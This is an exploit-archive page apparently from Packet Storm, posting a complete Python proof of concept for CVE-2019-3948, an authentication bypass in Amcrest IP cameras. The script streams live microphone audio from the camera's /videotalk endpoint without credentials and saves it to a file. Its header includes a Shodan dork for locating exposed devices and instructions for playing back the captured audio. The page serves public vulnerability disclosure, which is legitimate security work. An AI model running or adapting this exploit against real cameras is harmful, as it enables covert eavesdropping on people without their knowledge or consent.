exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Amcrest Cameras 2.520.AC00.18.R Unauthenticated Audio Streaming

Amcrest Cameras 2.520.AC00.18.R Unauthenticated Audio Streaming
Posted Jul 30, 2019
Authored by Jacob Baines

Amcrest Cameras version 2.520.AC00.18.R suffers from an authentication bypass vulnerability allowing an attacker to retrieve audio streams.

tags | exploit, bypass
advisories | CVE-2019-3948
SHA-256 | 34cf3ecd349123700d9ee80c886a5fee2647aec2c36415ca9f6b58690d283c65

Amcrest Cameras 2.520.AC00.18.R Unauthenticated Audio Streaming

Change Mirror Download
##
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
# Shodan Dork: html:"@WebVersion@"
# Date: 08/29/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Affected Version: V2.520.AC00.18.R
# Fixed Version: V2.420.AC00.18.R
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
# CVE : CVE-2019-3948
# Disclosure: https://www.tenable.com/security/research/tra-2019-36
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
#
# To decode the scripts output using ffplay use:
# ffplay -f alaw -ar 8k -ac 1 [poc output]
# Note that this assumes the camera is using the default encoding options.
##
import argparse
import socket
import struct
import sys

##
# Read in the specified amount of data. Continuing looping until we get it all...
# what could go wrong?
#
# @return the data we read in
##
def recv_all(sock, amount):
data = ''
while len(data) != amount:
temp_data = sock.recv(amount - len(data))
data = data + temp_data

return data

top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(True)

print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

request = ('GET /videotalk HTTP/1.1\r\n' +
'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
'Range: bytes=0-\r\n' +
'\r\n')
sock.sendall(request)

status = ''
header = ''

# read in the HTTP response. Store the status.
while (header != '\r\n'):
header = header + sock.recv(1);
if (header.find('\r\n') > 0):
header = header.strip()
if (len(status) == 0):
status = header
header = ''

if (status.find('200 OK') == -1):
print '[-] Bad HTTP status. We received: "' + status + '"'
sock.close()
exit()
else:
print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'

total_audio = ''
while (len(total_audio) < args.bytes):

# read in the header length
header_length = recv_all(sock, 4)
hlength = struct.unpack("I", header_length)[0]
if (hlength != 36):
print '[-] Unexpected header length'
sock.close()
exit()

# read in the header and extract the payload length
header = recv_all(sock, hlength)
plength = struct.unpack_from(">H", header)[0]
if (plength != 368):
print '[-] Unexpected payload length'
sock.close()
exit()

# there is a seq no in the header but since this is over
# tcp is sort of useless.

dhav = header[2:6]
if (dhav != "DHAV"):
print '[-] Invalid header'
exit(0)

# extract the audio. I'm really not sure what the first 6 bytes are
# but the last 8 serve as a type of trailer
whatami = recv_all(sock, 6)
audio = recv_all(sock, plength - hlength - 12)
trailer = recv_all(sock, 8)

if (trailer != 'dhavp\x01\x00\x00'):
print '[-] Invalid end of frame'
sock.close()
exit()

total_audio = total_audio + audio
sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
sys.stdout.flush()

print ''
print '[+] Finished receiving audio.'
print '[+] Closing socket'

out_file = open(args.output, 'wb')
out_file.write(total_audio)
out_file.close()

sock.close()
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close